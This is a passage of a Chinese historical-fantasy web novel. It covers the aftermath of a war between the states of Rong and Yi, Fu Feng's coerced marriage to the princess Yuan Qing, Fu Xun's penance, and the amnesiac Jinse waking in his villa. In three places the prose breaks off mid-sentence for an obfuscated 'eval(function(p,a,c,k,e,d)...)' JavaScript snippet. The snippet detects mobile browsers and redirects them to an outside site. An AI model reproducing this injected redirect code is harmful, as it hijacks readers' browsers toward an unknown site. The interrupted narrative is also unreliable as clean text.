翊东粮仓,数百万顷水田一望无垠、悄寂无声,朔风卷着细碎雪花,落在他血迹斑驳的铁甲上。他不禁慢下脚步,看着那细碎的雪花静静融化。 沿途官道损毁过半,行军极慢,终于在冬月初二抵达龙城,遭遇了留下来断后的司南侯。 众军兴奋不已、跃跃欲试,苻洵却命他们就地休整。次日,安排两万步兵留着驻守龙城,自己只带着白袍卫和一万步兵,遥遥跟在司南侯背后,看着她率后军渡过淮水,扬长远去。 “爱人者,兼其屋上之乌。你看,其实我懂”,他举目望向白茫茫江面,攥紧了手心那枚玉佩,笑意恍惚,“可是,我只能做荣国的将军,而身为荣国将军,有太多不得已。” “为什么,你、你们都不给我机会,一个放弃这身份的机会?” 淮水,蜃洲大陆上排行第三的大河,仅次于伊河和长流川。司南侯渡江时,淮水上已帆樯如云、舳舻千里。 翊国三万水师封锁江面,以淮水为界,牢牢阻挡了苻洵继续南下的步伐。 冬月初六,庄王嫡长子元承祎,在冯太后、丞相元璟、平南侯元旭的拥立下即位,迁都阊江,史称“南翊”。 冬月十八,永嘉王次弟元承赟,在三军郡、燕州、洺州军的推举下称王,定都宛平,史称“北翊”。 北翊各路骑兵得元承赟整编、调度,综合战力大增,坐拥三郡二州大片平原,仓廪尚足,又加高加厚了各城池的围墙、广挖壕沟。冯栩久攻不下,逐渐粮草不济,向西撤军,以地皇山、上阳郡为界,与北翊东西相望。 当戎陵山下起第一场雪,崔长治的大军开始回撤,等高轩、薛怀嘉率骑兵回援时,苻沣已清扫完了战场,着手在废墟上重建城池。 五月初十至今,这场长达半年的混战。荣国得到了伊河以南、淮水以北四百万顷沃土,北宛得到了平阳、定安、武原三大盆地,及三大关隘。 翊国失去了三分之一的国土,且分裂为南北两个。 位于淮水之阴的南翊,疆域、实力与荣国不分上下,并列当世两大强国。 . 阊江南翊王宫,五岁的幼主承祎跪在宗庙,灯光如海,上千排灵位密密麻麻、贝联珠贯,一眼望不到尽头。 “九叔公,父王和母后真的在这里面吗?” 承祎拿着白娟,轻轻擦拭着至亲的牌位,眼巴巴看着跪在身边的元璟:“我在这儿说话,他们能听到吗?” 元璟举袖拭去眼角泪花,挤出一个微笑:“都听得到。” 旁边地上,放着一个打开盖子的木盒,厚厚一摞信笺,分别写给元承陵、元璟、元旭、姜嫣、周士承、陆斐…… 她不但对荣国、翊国局势做了详细分析,还预设了刺杀失败之后、苻洵可能发起几种的攻打方式,每种都给出了应对之策、做了布局谋划,甚至预设了不敌苻洵、昇阳失守,断尾求生、保全实力的实施步骤。 元晴说得不错,她的确是这世上最了解苻洵的人。只是这了解,全都化作了捅向对方的刀。 木盒的底层,用白绸包裹着一叠花笺,全是写给孩子的,每人每年一封、直到十六岁。 元璟又想起去年十月初八,她临出门时,抬头看向茫茫天空,笑容淡淡的:“好累……短短二十多年,怎如此漫长?” 眼前浮现的,却是多年前牵着他的手、在热闹夜市欢呼雀跃的那个孩童。 没缘法,转眼分离乍。赤条条,来去无牵挂。 集贤殿正在编纂《英烈本纪》,他也知道如今正需这些去激励军心,却仍厌恶如此着急盖棺定论,总盼着他们能回来,哪怕只有一两个。 南撤时,满朝文武、阖族宗室纷纷南下,唯独元晴和元晢留了下来。 元承陵组建御敌大军时,元晢不顾妻儿阻拦、毅然弃笔从戎。听说苻洵大破昇阳时,城中已没有活人了,元晢可能也战死了吧。 大祭司带着凰羽寺所有弟子下山,誓死守护元氏王陵。 然而,出乎所有人意料,一向不敬鬼神的苻洵,命麾下大将南宫羽为翊庄王元旻扶灵,自己为翊烈王元承陵扶灵,将那对父子厚葬于阳华山元氏陵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14375346|148138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 园。 虽说以君臣父子论,扶灵的人似乎安排反了,但苻洵是敌国将领,总不好要求太高。 . 冬月十五,苻沣带着朝中近臣、新提拔的将领和官员、新征来的驻军,从已拓宽的甬道抵达洛京,接管淮水以北各大城池,统称这四百万顷沃野为东原道,其余地名如旧。 冬月二十,苻沣率苻洵及派驻当地的文武官员,入阳华山拜祭前朝王陵。 浩浩荡荡一群人,刚走到陵园门口便齐齐愣住,不得已停下了脚步。 寒风肆掠,高阔的牌楼底下,一名女子面向他们跪着,青石地面结满冰霜,她满身缟素、披麻戴孝,身前整整齐齐竖着一排灵牌。 苻沣赶紧上前,脱下大氅披在苻萱身上:“阿萱,跟爹爹回家。” 苻萱木然不语,眼眶通红已流不出一滴泪,直到苻沣俯身抱住她,她突然“咯咯”笑起来。在满地灵牌中疯狂翻找,一个一个塞进苻沣怀中。 “看,这是你的女婿,死在守护昇阳的战场。” “看,这是你的外孙,南撤的时候,城里到处都很乱,他跑得慢了些,被难民活活踩死了。” 她按住了自己小腹,又笑了笑:“你还有个外孙,在这里。” 黑色的血不断从她口中涌出,血是温热的,她的身躯却一点点凉了下去。 “既有洛京会盟,为何还要开战?” “既早知要开战,为何还要将我嫁与元氏?” “我这桩婚事,你的女儿、外孙,都不过是你们的缓兵之计,对吗?” 质问的声音单薄而脆弱,细弱游丝,却似千万钢针、直刺人心。 . 同一天,拜祭了元氏王陵,收敛了女儿尸骨。 苻沣悲不自胜,遣散了伴驾的文武百官,只留下苻洵相陪,宿在守陵人的居所。 “想多陪陪阿萱。” 入夜后,辗转难眠的苻沣去找幼弟对酌,喝得酩酊大醉、烂醉如泥,于是苻洵就近将他扶进自己的卧房,又出去找醒酒汤。 苻沣刚躺下,屋内景色突变,桌椅、茶几、书架、盆景、柜子等物,忽然以奇特的节奏开始转动,像是有一双无形的大手在搅弄万物。 他霎时酒醒了一半,霍然起身站在屋中央,凝神感应。 他从转动的节奏中,找到了一丝熟悉的感觉。 七杀阵! 苻洵还领着白袍卫在外面! 他失声惊叫:“公主快逃!” 阵法转动带起强劲的气流,卷成气旋,地面和天花板震荡不休,屋子里一片混沌。他踉踉跄跄、几次要冲出房间都被无形的力量挡了回去,飞奔到窗前,屋外一片漆黑寂静,什么都听不见看不见。 恍惚记得元晴说过,阵法一旦启动,是无法感知外面动静的。 狂飙的气流,裹挟着密密麻麻的刀枪剑戟矢,铺天盖地劲射而来,他多年习武,左挡又躲,也被三箭和一刀擦伤,还好伤的并非要害。 而后,一株碧绿破土而出,簌簌摇晃着舒展枝叶,不过须臾便长得粗约合抱,钻出屋顶,同时从枝干上伸展出无数藤条,密不透风地缠住了他,他越是挣扎便捆得越紧。 紧跟着,洪水从屋外四面八方和地底涌来,迅速淹到了他腰部,水位还在迅速上涨…他拖着捆缚满身的藤条极力向上挣扎,同时抬头四顾、寻找着破解之法。 刚一仰头,他惊呆了。 亭亭如盖的树冠上,不知何时结出无数果子,那果子迅速由青转红、膨胀变大,烈烈燃烧成无数火球。火球晃了晃,瓜熟蒂落,成千上万个火球摇摇欲坠。 他虽知道七杀阵虚虚实实,借幻象掩盖真实的杀招,真正面对时仍无比绝望。 原来自己当初为幼弟准备的,是这样绝望的死法。 直面死亡时,苻沣脑子里忽然冒出这么个念头。 时间仿佛停滞了。 120. 动如参与商 不知何处吹来一缕风,苻沣感觉,紧紧捆缚自己的力量忽然松了。他愕然睁开眼,发现藤条正迅速枯萎、身后的大树开始变小、收回地下,洪水正打着旋儿迅速退去…… 意识到了什么,他直接翻窗跳出,立足未稳便厉声呵斥:“阿洵住手!” 他身躯还晃悠着站不稳,背后传来苻洵的声音:“哥哥,怎么了?” 苻洵正端着醒酒汤转过走廊,一脸茫然。苻沣心头一紧,晃了晃撞得的生疼的头,急忙看向院中。 待看清眼前场景,他顿时心都凉透了:元晴身中两箭,胳膊有一道刀伤。院中团团围住她的,并非苻洵的白袍卫,而是他三支密卫中的金台卫。 还不如是白袍卫呢。 金台卫是三支密卫中最特殊的一支,大都是些出身良好的中上世家子弟,送到国君身边不止为了扈从,更为了平衡笼络各方势力。 如今,这支干系各方势力的金台卫,在与元晴的打斗中,死了两人、重伤三人。 若不处置了刺客,影响恶劣,恐事态难平,苻沣心急如焚。 苻洵觑着他脸色,又看了看元晴,低声说:“臣有一计可保公主无恙,陛下可愿信我?” 苻沣赶忙点了点头。 苻洵上前一步,对着金台卫厉喝:“混账东西,竟敢误伤我大荣未来王后!” 元晴霍然抬头、难以置信看向兄弟二人,苻沣也呆住了。 苻洵继续说:“陛下为交好友邻,已向南翊呈递国书,求娶五公主。” 苻沣会意,眼见元晴要张口辩驳,立即斥退金台卫,上前正要搀扶元晴,被她重重推开。 “谋害我亲兄,侵占我国土,此刻却假惺惺来护我性命,当真可笑!” 语毕,袖中弹出一柄精巧的匕首,毫不迟疑挥向自己脖颈。 电光火石间,离她最近的苻沣趋步上前,疾如闪电地出手,却未触及她分毫,只是握住了那把寒芒森然的匕首。 “滚!”元晴咬紧牙关,使劲将匕首向外抽去,割得苻沣的手血流如注。他却越攥越紧、直到她再也抽不出分毫,同时别过脸去,避开她郁怒的目光。 “你走吧。” “阿洵你记着,今晚什么都没发生过,金台卫朕自会处置。” 元晴不再搭理苻沣,只死死盯着苻洵,冷笑:“你命可真大!” “想杀我的人,从阳华山排到洛京,你算老几”,苻洵闲闲地笑了,“知道我命大,还不顾惜自己性命?死人可没法复仇。” 元晴目眦欲裂,放开匕首、冲过去就要扭打他,被他轻松制住,笑容讥诮:“看好了,四月初十,我就是这样制住你四嫂的。” “她武艺比你好上百倍,谋划数月、费尽心血讨我欢心,处心积虑来刺杀我,照样是败了。” “你们翊国女子,都喜欢以卵击石么?” 元晴咬牙切齿挤出两个字:“禽兽!” 苻洵笑容愈发慵懒,微微仰头、眼神轻飘飘的:“你们高洁、刚烈、宁折不弯,最终除了身后清名、一无所有;我狠辣、卑鄙、禽兽不如,她却直到死,都不得不围着我曲意逢迎,莫说人、就连灵枢和坟茔……” “苻洵!”苻沣冲过去,正竭力拉开他们,一听这话勃然变色、厉声喝问,“你将褚太后的灵柩如何了?” 苻洵笑容更盛,眸光流转,透出几分妖异:“连着灵位一把火烧了,她就算死了、化作了灰,也不准埋在元氏陵园。” 元晴的咆哮撕心裂肺。苻沣怒不可遏,松开拉架的手,抡圆了便是一耳光挥去。苻洵头也没回,抬手抓住苻沣的胳膊、用力狠狠一推。 苻沣身上有伤,被他猝不及防一推,倒退了好几步、跌倒在地。 这是苻洵有生以来,第一次对苻沣还手。 他却疯了似的,看也不看苻沣,只冷笑着盯住元晴,一字一字道。 “是成为我荣国王后,还是被当成刺客处决;是活着复仇,还是死去万事皆空;是高坐明堂受我三跪九叩,还是长埋王陵受我三柱高香,请公主自便。” 元晴直勾勾注视着苻洵,良久之后,忽然放声大笑。然后移开目光,看向被他推倒的苻沣:“孤愿退出凰羽寺门墙,为陛下执掌中馈,敢问陛下意下如何?” 每一个字,都带着磨牙吮血的刻骨恨意。 苻沣心神巨震,抬头望向幽黑夜空、绝望地闭上了双眼。 腊月初一,昇阳城西城门,文官以景樊为首、武官以苻洵为首,齐齐整整夹道跪成两列。仪仗队的簇拥下,荣王苻沣与新册封的元王后,并肩穿过跪拜的众人,登上回灵昌的肩舆。 . 阳华山巅的凰羽寺,大祭司率众弟子站在观星台之上,目光透过云层,注视着远去的人群。 几声叹息微不可闻,消散在高天呼啸而过的冷风里。 “元晴入红尘太深,气运将竭,寿数也所剩无几。” 然后,她收回目光,扭头看向天边:“沧海横流,玉石同碎,诸天星斗已混乱到无以观测。” 闻彤惶然:“璀璨星汉之中,似有其他凶星正在爆发。” “乱世凶年、烽烟四起,何处没有凶星”,大祭司淡淡道,“可在凶星之中,新的帝星正在萌发。” 闻彤神情忧虑:“再多凶星也比不上至煞昭明。可如今,压制昭明的那股力量消散了,昭明光芒高涨,已至极盛。” 大祭司笑了:“日中则昃,月满则亏,盛极必衰。何况,消散并非消失,祂还存于天地之间、大道之内,不过化有质为无形。” “大音希声,大象无形,道隐无名。锉其锐,解其纷,和其光,同其尘。” . 大风呼啸,雪花飞舞,地面积雪和浅灰色云层漫天翻卷,从天到地、到处是白茫茫一片。 雕花窗垂着厚厚的织绒帘,殿内的铜火笼烧着红彤彤的银丝炭,冯栩扶着元昙从走廊进屋,将蜜瓜挖去籽、切成小块,插上银签端到她面前。 她的身子已十分沉重,或许北宛饮食习俗不同于昇阳,这一胎长得极好。 冯栩坐在窗边热着酪浆,有一搭没一搭叙话:“快临盆了,我给孩子起了个北宛名,满都拉图,寓意‘兴盛’。” “我不太懂诗书,你给他想个中原名吧。想个好的,毕竟这是我们的第一个孩子。” 元昙走到窗前,将窗帘掀开一线、注视着庭院中央。开得如火如荼的红梅树下,思源双腿分开、半蹲着挺直上身,双手平举齐胸,捧一杆纯铁打造的长枪,静静蹲着马步。 狂风夹着鹅毛大雪、不断拍打着他单薄的身躯,和冻得通红发紫的小脸,他的风帽、睫毛、肩头都积着厚厚的雪,他已蹲了近三刻。 元昙心疼不已,多次劝他进屋歇息,他却巍然不动,双唇倔强地紧抿成一线,双眸漆黑望不到底。 不知从何时起,他的样貌居然越变越像冯栩。 冯栩很喜欢兕儿,一半因为他把兕儿当成师父血脉——冯栩最崇拜的人,一半因为兕儿心坚石穿、锲而不舍的坚韧意志。 可元昙分明记得,兕儿先前在昇阳时,爱说爱笑爱打闹,是个极活泼明朗的孩子,不知何时、变作如今沉默寡言的阴沉模样。 她的目光在冯栩和兕儿之间反复逡巡,隐隐心惊。 正漫无目的地遐想,腹部开始一抽一抽地剧痛,她熟悉这种感觉,忙呼唤冯栩:“发动了。” 同样的感觉,恍惚让她想起去年腊月,她诞育冯栩的血脉时。 去年那个孩子,是真的早产。 那次,同样地呼唤,她只见冯栩慢悠悠站起来,着人去传医官。殿门大开的瞬间,积雪的光将他的脸照得雪白,她惊惧地发现,他的唇角一直是上扬的,那笑容意味深长。 她当时就打了个寒噤,蓦地意识到一个事实:同样非冯栩亲生,在冯栩的心里, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14385058|148138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 冯彬的孩子与兕儿和思洛是不同的。 去年冬天,北宛阏氏千辛万苦诞下冯彬的骨血——一名死胎。 . 宗庙内灯火煌煌,氤氲着浓郁的香烛气,苻洵跪在蒲团上,漫不经心地点燃三炷香,张嘴吹灭火苗,插入香炉。 膝盖传来锈蚀般的生疼,僵冷麻木,他已跪了整整三天三夜。 苻沣的声音从背后传来:“可知错了?” 苻洵懒懒地笑了:“身为臣子,以下犯上、桀骜跋扈、违抗班师诏令、辱人陵寝、损伤御体……桩桩件件,哪样不是重罪,陛下怎就只罚臣跪祠堂思过?” 苻沣在他身边跪下来,看了看他胸口,声音软了几分:“还痛吗?” 苻洵嗤笑:“暂时死不了。” 苻沣噎了一下,又问:“锦瑟的伤如何了?” 苻洵笑容消失:“身上的差不多痊愈了,只是跌下山崖时磕到了头,至今没醒。” 苻沣定定注视着他:“空逐天边月,舍弃眼前人,悔否?” 苻洵沉默着别过脸,半晌才说:“陛下是来瞧臣笑话的么?” “阿洵,此时此地,咱们不是君臣,只是兄弟”,苻沣抬头望向层层叠叠的灵位,“让你来此跪着,是想教你知晓,你是我亲弟弟,也是苻氏子孙。” “值此乱世,烽烟四起,沙场上搏杀个尸山血海也是寻常。可无论如何,你不该与异族勾结,险些为中原招来亡族灭种之祸。” 苻洵垂下头,低声道:“是我疏忽了,没控制好磨出来的剑,险些反噬自身……请哥哥重罚。” 苻沣叹了口气:“你为国开疆拓土、居功至伟,此时罚你、岂不寒了将士之心?不如将功折罪,咱们兄弟勠力同心、厉兵秣马,他日将异族驱逐边墙之外!” 苻洵沉默良久,不知在想些什么,突然抬头、笑着斜睨道:“恭喜哥哥得偿所愿,与心悦之人合卺结缡。” “恭喜个鬼”,苻沣又叹了口气,一见到苻洵、他就格外想叹气,“趁人之危,哪里是结亲,分明是结仇。” 苻洵歪头问:“据我所知,五公主其实并不反感哥哥……区区灭国之仇,为何不能相守?” “区区灭国之仇?”苻沣怔怔注视着他,眼神悲悯,“阿洵,你到底经历了什么,竟比以往偏执更甚?” 苻洵别过脸笑起来,笑得双肩颤抖、满眼讥讽:“有人教会了我,爱与恨也没那么重要,只要捆着守着,时间久了总会生情。” 苻沣陡然意识到什么,震悚道:“你当初是故意激她?你究竟要作甚?” 苻洵笑着说:“我想让哥哥幸福。” “她此时对我们恨之入骨,可若是哥哥知冷知热、好好待她,与她过上十年八年,生一大堆孩子,她眼里心里就全都是你了。” 苻沣听他出言癫狂如斯,勃然大怒:“你真是疯了,给我继续跪着,跪到想通了为止!” 苻洵毫不在意,笑意更盛:“这儿风吹不着雨淋不着,算什么罚?” 尝试好几次,竟不借外力慢慢站立起来,拖着受伤的腿、晃悠悠地走了出去,踉踉跄跄走下台阶,站在宗庙前的空地上。然后,就着漫天飞雪和寒风,在结着薄冰的地面跪了下去。 苻沣拉了几次都拉不动,苻洵这犟劲他最清楚不过,只得拂袖离去。 天色逐渐黯淡,晚风卷动铅灰云层,纷纷扬扬下起了雪,他的发间、睫毛、肩头积了薄薄一层,双膝已陷进了积雪之中。他却完全感知不到冷,紧紧攥住手心的玉佩,抬眸望向远方、笑容恍惚。 “论心,我没有输;论人,我没有输。我输给的,只是你二十四年的光阴。” 明亮的双眸,缓缓盈出两滴泪,滚烫温度落在积雪上,融出两个小小圆坑。 越来越多的雪不断飘落,积了一层又一层,迅速盖住了那两滴凹陷。 大地仍旧白茫茫一片,什么痕迹都没有。 121. 锦瑟 “不要死……不要抛下我一个人……求你……” 一簇簇血花在胸腹绽开,她已痛到麻木,男子紧紧把她抱在怀中。她看不清他的脸,却感觉他伤得比自己更重。他满身衣袍像从血水里捞出来,抱着她的双臂却没有松开。 咸涩的泪滴入口中,鼻端充斥着铁腥和血腥气,满眼殷红。 然后,温热的泪变得寡淡,所有的腥气消失,满眼殷红化作雾蒙蒙的灰色。 耳边响着他喃喃的哽咽:“不要死……”声音越来越轻、渐行渐远,像一缕轻烟消散于渺远夜空。 痛觉也轻了,淡得逐渐微不可察。她好似失去重量浮在云端,却比云端更轻更空,没有冷、热、痛…… 什么都没有。 她孤身一人,悬浮在无限大的虚空寂无之中,不知过了多久。 一滴温热滴落上她的胸膛,那温热越聚越多、逐渐灼得滚烫,封着胸口的“虚无”好似化作流质,从她体内被抽出、不绝如缕,一部分逸散开来,一部分迅速聚向另一处虚无。 沉寂已久的心口忽地轻轻一跳,像一架锈蚀生涩的机括被触动,轴承、齿轮、连杆、链带逐一活络过来,牵动全身。 她清晰地感知到,汩汩热流从心口泵出、顺奇经八脉游走全身,有气流吹过鼻腔、涌入肺叶、胸膛开始有节奏地起伏,五脏六腑在微疼中重新开始蠕动,奇异的感觉涌入四肢百骸,又痒又麻。 无意识地屈伸手指,指腹是丝滑的清凉,手背是熨贴的温热。 那一缕消散于虚无的哽咽越来越响,近在耳畔:“不要死……求你……” “锦瑟——” 她虽是两眼紧闭,却也能模糊感知,有明亮温暖的光照在眼皮上。萦绕鼻端是微苦的草木泥土气息、清润微甜的花香。 她懵懂地睁开双眸,两张脸占据了视野,都是十五六岁的少女,梳着双环髻,娇俏的瓜子脸、皮肤细白,眼睛又大又灵动。 一见她醒来,立即欣喜的嚷嚷开了。 “絮儿,夫人醒了。” “柳儿,快去给侯爷传信,再请颜先生来把脉。” 她努力张了张嘴,只能发出一两声短促而含糊的音节。 柳儿忙托着她坐起来,絮儿轻声招呼门外的小丫头。片刻之后,絮儿端着一盏茶过来,茶汤上还冒着微微热气。 入口的温度刚刚好,是她喜欢的微烫,喝起来甜丝丝的、清润无比,几口下肚,从咽喉到肠胃、肺腑都舒畅活络了。 她又试了试,声音沙哑涩滞,至少连贯了些,于是缓缓开口:“这是哪儿?” “我是谁?发生了何事?” 絮儿和柳儿面面相觑,絮儿酝酿了半晌,缓缓开口:“夫人,您终于醒了。” “这里是荣国灵昌、洛川别苑,您是我们的夫人。” “侯爷为您赐名‘锦瑟’。” “去年,您为救侯爷受了重伤,昏迷了整整一年。” . 四月的灵昌城,微风不燥、暖阳融融,杨柳依依、桃花灼灼,洁白如雪的绣球、鹅黄软嫩的木香错落有致,锦绣满园春。 洛川别苑布置得天然幽雅、花木葳蕤,锦瑟最爱在桃花树下搭一张躺椅,躺着晒太阳、一晒就是半天。 絮儿见她兴致盎然,笑道:“夫人只管慢慢欣赏,往后有的是好景致,这洛川别苑就数花木最盛。” “这还只是春天,夏天有芙蕖、茉莉和素馨花,秋天的桂子尚可,最美的当属冬天。后院有一大片梅林,种的全是素心腊梅和红梅,枝头落点碎雪,就像凝了满枝胭脂一样,煞是好看。” 锦瑟听得入神,有些疑惑:“这些都是你们夫人……也就是我,布置的?” 絮儿忙摇头:“不是呢,全是侯爷想好怎么布置,画了简图,再让夫人操办的。” 锦瑟恍然大悟:“侯爷如此有情趣,想必是一位清贵儒雅的文士。” 絮儿又摇了摇头,见她有些倦意,忙劝慰:“夫人先安歇罢……下个月就要大婚了,养好了身子才能成婚。” 啥?大婚? 人都住进来了,都是夫人,还没成婚? 在一个陌生的地方醒来,身份和经历一片空白,就已经够倒霉了…… 还即将嫁给一个在她看来素未谋面、毫不了解的男人…… 还未婚就住进了别人宅邸…… 这倒霉到家的运气。 锦瑟彻底躺不住了,拉着絮儿软磨硬泡就要打听清楚。 这段九曲十八弯的故事啊,说来话长,幸亏絮儿头脑清楚、口齿伶俐,说了近一个时辰,才将这前因后果捋了一遍。 她所在这座四进大宅的男主人,叫苻洵,是荣国建宁王的十六弟,敕封建业侯——虚封,并无封地和食邑。 不过,苻洵并不靠食邑度日,他的名字前缀很长,龙骧军骠骑将军、东原道兵马总节制使、威远将军、玄甲营总指挥使、太尉……在渝安水师全军覆没之前,还兼任了渝安水师提督。 荣国近六成兵马都归他节制,是位炙手可热的权臣。 照常理说,如此权臣,早就进封国公、享上万户食邑,苻洵却坚持不受,只保留“建业侯”这一虚爵。常有记性不好的人,念不出他那一长串官衔,直接称“建业侯”,他也欣然领受。 锦瑟是苻洵未发达之前,被他用五千两黄金从倚翠楼买回的雏妓,一跟就是九年。 如此炙手可热的重臣,自然有的是名门世家想攀姻亲,苻洵却丝毫不顾锦瑟出身低微,坚持要扶正这位妾侍。 旁人问及缘由,苻洵讳莫如深地一笑:“她旺夫。” 所有人都被他噎住了,无言以对。 因为他说的,像是事实。 锦瑟进门前,苻洵只是个籍籍无名的宗室子弟,跟一帮纨绔子弟游手好闲,最大的名气就是不务正业、斗鸡走狗。 锦瑟进门后,短短两月,苻洵先补缺北城兵马司指挥使,后升任五城兵马司大统领。次年五月,渝安郡叛乱,苻洵拥立当今王上即位,立下从龙大功。 那以后,苻洵如得神助,用兵疾如闪电、擅长以少胜多,屡屡立下不世奇功。南征北战、攻城略地,将荣国疆域面积扩张为原来的三倍不止,成为与之前的第一强国——大翊并列的双强。 大鹏一日同风起,扶摇直上九万里。说的便是苻洵那通达顺遂的仕途。 “听起来着实春风得意”,锦瑟目露景仰,又叹了口气,“只是短短几年,建下不世之奇功,想必也经历了人所不能忍之磨难。” 絮儿眼睛一亮:“夫人果然体恤侯爷,侯爷常说,旁人只盼着夫君建功立业、封妻荫子,唯有夫人为他夜夜悬心。” 锦瑟暗叹,古来征战几人回,苻洵再是天纵奇才、用兵如神,每场战争也得真刀实枪去搏杀,沙场上刀剑无眼,为国九死一生、鞠躬尽瘁如斯,却不恋权栈、无僭越之心,只一心辅佐国君,着实令人肃然生敬。 于是对这陌生的夫君也没那么排斥了,有些好奇地问:“侯爷眼下不在灵昌,那是在何处?” 絮儿迟疑道:“此为军机,咱们内宅不便打探,夫人以往从不问的。” 锦瑟长吁了口气,男主外女主内,好像确实有这规矩……也不知自己怎么突发奇想要问。 醒来至今约有半月,她身子依然孱弱,思绪也不甚清晰。颜先生是积年的名医,说她磕坏了脑子,前尘尽忘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14392999|148138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 她当时就眨巴着双眼、好奇地发问,那怎么没忘记如何吃饭睡觉、走路说话,甚至还能识文断字,对诗书礼乐易也颇为娴熟?这失忆还分内容? 颜先生沉吟半晌,直等到午膳时,夹了一块红烧肉问她:“此为何物?” “猪肉。” 颜先生捋须微笑,将那块赤油浓酱的猪肉放进口里,吧嗒吧嗒嚼碎、咽入腹中:“现在呢?” “还是猪肉。” 颜先生笑意更盛:“再过一二时辰,就不是了,去其糟粕、取其精华化作了老朽自身血肉。” “夫人是否领会?” 锦瑟恍然大悟:“少吃红烧肉,容易长胖。” 颜先生噎了半晌,扶额道:“老朽是说,您自幼学的那些生存技能、诗书礼乐,皆已化入夫人血肉骨髓,所谓‘胸有文墨怀若谷,腹有诗书气自华’,根本无需费力去记,自然不会忘却。” 锦瑟听他如此说,也为自己清奇的思考方式颇觉羞赧,赶紧示意柳儿、把那碟红烧肉挪到颜先生面前,清了清嗓子,恭恭敬敬道:“学生受教!” 颜先生默了一瞬:“以往夫人都说的是‘妾受教’。” 想了想又说:“也无甚干系,摔坏过脑子的人,是跟以往有些不同,还得恢复些时日,两位姑娘莫跟夫人说太多前尘往事……徐徐图之。” 柳儿和絮儿深以为然,交换了个眼神,不约而同点点头。 锦瑟觉着“摔坏脑子”这词有些难听,却也想不出更好的。毕竟,对面的颜先生就是这脾气。 听絮儿说,颜先生名清和,年过六旬,原是一名颇负盛名的游方郎中,神龙见首不见尾,在蒙舍十万大山结庐暂居时,结识了苻洵,二人倾盖如故、竟成忘年之交。 苻洵如何结识颜清和,又如何劝动了他出山,无人知晓。 她们只晓得,从建宁一年起,颜清和开始出入洛川别苑。来往得多了才知,苻洵在洛川别苑对面盘下一间铺子,改成医馆,供颜清和居住和坐堂问诊。回灵昌时,也会邀颜清和入府探讨岐黄与祝由之术,六七年下来,竟成通家之好。 养伤的日子,吃了睡睡了吃,日子又丝滑又顺溜,惬意得她有些心虚。 一晃就到了四月底,柳儿拿着拟好的婚仪流程单子给她时,她正在喝甜甜的红枣燕窝羹,瞥了一眼,满口羹汤险些喷出来。 “那啥……在府里拜个堂不就成了,还老远抬进宫去,再抬回来……闲的慌么?” 柳儿忙不迭点头,又摇头。 “别家新婚拜的高堂都是姑舅,侯爷是陛下一手带大的,兄长如父嘛……万金之躯,总不能让他移驾别苑……” “更何况,若是不出去兜一圈,那十万棵红梅岂非白种了?” 一说这个,锦瑟更是两眼发黑。从洛川别苑正门开始,经门口的庆云巷北转、再经东大街西转,上子午大街,往北直通西安门、北宸殿。为贺苻洵大婚,大兴土木种下十万棵红梅。 着实靡费,却也在情理之中。 毕竟苻洵已经二十六岁了,高龄娶亲,着实不易。建宁王在他这岁数,孩子都俩了。 这样比较也不太准确,因为苻洵更争气,膝下已有两子一女……虽然全是侍妾生的。 荣国强敌环伺、征战频繁,男子大多寿数不长,长期男少女多。为繁衍子嗣,有财力的都会纳几房姬妾,未娶正妻便庶子女成群见怪不怪。 但是苻沣始终觉得,苻洵哪怕姬妾成群、儿女绕膝,缺了那个执掌中馈之人,茕茕孑立,形影相吊,甚是可怜。 于是,衣不如新,人不如故。最受苻洵喜爱的锦瑟,就这样从倚翠楼的清倌人,一步登天成为权贵正室。 122. 大侠 绿树阴浓夏日长,楼台倒影入池塘。 骄阳蒸得地面的气流有些扭曲,颜先生不让锦瑟啖冰,只在床头装了一盆冰块,旁边架上飏扇,柳儿不知疲累地用手摇动,带来阵阵凉气。 窗外的蝉鸣聒噪,轻若白烟的芙蓉绣幔飘飘转转,柳儿一边摇飏扇、一边连连打瞌睡,终于支撑不住,趴在小几上睡了过去。 锦瑟摸了摸腰间钱袋,蹑手蹑脚从床上爬起来。本打算径直溜走,看了看疲惫的柳儿,有些不忍,拿起螺子黛在帕子上写了几个字,压在妆台底下,猫着身子走出主屋。 走过荷塘上的拱桥,穿几进院落就是后院,梅林后面的围墙,前几天被暴雨冲出了个缺口、比别处矮些,还未来及补上。 找到缺口,她信心满满、深吸一口气,足尖轻点、提踵往上跃去…… 然后,重重掉回地面。 她有些懵,茫然地往后退了几步,看了看自己的腿,决定再试试。于是又往后退了十几步,深深吸了口气,助跑过去,在地面和墙面飞快蹬过。 双脚传来一阵钻心疼痛。 不应该啊?她百思不得其解,但眼下顾不上这些,她好像听到洪安湖赛龙舟的声音了。 